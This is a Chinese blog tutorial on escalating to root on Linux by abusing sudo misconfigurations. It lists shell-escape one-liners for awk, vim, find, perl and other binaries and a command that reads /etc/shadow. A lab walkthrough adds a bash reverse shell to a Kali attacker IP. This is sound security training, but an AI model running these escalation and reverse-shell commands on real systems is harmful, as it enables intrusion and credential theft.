当前位置: 首页 > article >正文

[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Sudo 滥用提权原理

Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。

在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。

0x0101:Sudo 基础 — Sudo 权限的授予

授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

 username ALL=(ALL) NOPASSWD: /usr/bin/awk
 ​
 # username => 被授予 Sudo 权限的用户
 # ALL=     => 表示允许从任何终端访问 sudo
 # (ALL)    => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root
 # NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码
 # /usr/bin/awk => 表示可以被 sudo 运行的命令

下面是一些常见的 Sudo 权限授予的示例:

 # 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)
 alice ALL=(ALL) ALL
 ​
 # 允许用户组 wheel 中的用户以任意身份运行所有命令
 %wheel ALL=(ALL) ALL
 ​
 # 允许用户 bob 以 root 身份运行特定命令
 bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls
 ​
 # 允许用户 bob 以 www-data 身份运行特定命令,不需要密码
 bob ALL=(www-data) NOPASSWD: /usr/bin/awk

0x0102:Sudo 基础 — 查看当前用户可以用 Sudo 执行的命令

可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:

 cat /etc/sudoers # 这个需要权限,我们一般查看不了
 sudo -l          # 这个命令有时候不用密码也能运行

不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:

不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势

Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:

 apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip

0x0201:awk — Sudo 提权姿势

 sudo awk 'BEGIN {system("/bin/sh")}'

0x0202:vim — Sudo 提权姿势

 sudo vim -c '!sh'

0x0203:xxd — Sudo 提权姿势

xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:

 sudo xxd "/etc/shadow" | xxd -r

0x0204:env — Sudo 提权姿势

 sudo env /bin/sh

0x0205:perl — Sudo 提权姿势

sudo perl -e 'exec "/bin/sh";'

0x0206:zip — Sudo 提权姿势

sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"

0x0207:sed — Sudo 提权姿势

sudo sed -n '1e exec sh 1>&0' /etc/passwd

0x0208:find — Sudo 提权姿势

sudo find /etc/passwd -exec /bin/sh \;

0x0209:git — Sudo 提权姿势

1. git — Sudo 提权环境配置

首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):

test01  ALL=(ALL)       NOPASSWD: /usr/bin/git

2. git — Sudo 提权姿势教程

git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:

sudo git help config

然后键盘再输入下面的命令进行提权:

!/bin/sh

0x0210:ftp — Sudo 提权姿势

ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo ftp 
!/bin/sh

0x0211:less — Sudo 提权姿势

less 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo less /etc/hosts 
!sh

0x0212:ed — Sudo 提权姿势

ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo ed 
!/bin/sh

0x0213:man — Sudo 提权姿势

man 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo man man 
!/bin/sh

0x03:Sudo 滥用提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令

输入下面的命令查看当前用户可以使用 Sudo 执行的命令:

sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。

0x0303:Sudo 提权

使用前面介绍的对应命令的 Sudo 提权姿势进行提权:

sudo vim -c '!sh'


http://www.kler.cn/a/537426.html

相关文章:

  • 青少年编程与数学 02-009 Django 5 Web 编程 01课题、概要
  • ZZNUOJ(C/C++)基础练习1081——1090(详解版)
  • Android13-系统服务大管家-ServiceManager进程-启动篇
  • 如何导入第三方sdk | 引入第三方jar 包
  • Class加载流程和运行时区域
  • 大语言模型遇上自动驾驶:AsyncDriver如何巧妙解决推理瓶颈?
  • 微信小程序案例1——制作猫眼电影底部标签导航栏
  • 网络安全ITP是什么 网络安全产品ips
  • C++轻量级桌面GUI库FLTK
  • 图文并茂-jvm内存模型
  • GaussDB对象权限的注意事项
  • 【再谈设计模式】状态模式~对象行为的状态驱动者
  • 计算机视觉语义分割——Attention U-Net(Learning Where to Look for the Pancreas)
  • 【算法】动态规划专题⑨ —— 二维费用背包问题 python
  • 如何衡量您的文化
  • LeetCode:503.下一个更大元素II
  • 正则表达式进阶(二)——零宽断言详解:\b \B \K \z \A
  • 半导体行业跨网文件交换系统
  • declare和less
  • IDEA - 一个启动类多次启动方法
  • 解决ModuleNotFoundError: No module named ‘tomli‘
  • 使用Feign代替RestTemplet
  • 【图片合并转换PDF】如何将每个文件夹下的图片转化成PDF并合并成一个文件?下面基于C++的方式教你实现
  • 存储异常导致的Oracle重大生产故障
  • java练习(12)
  • 网络安全:挑战、技术与未来发展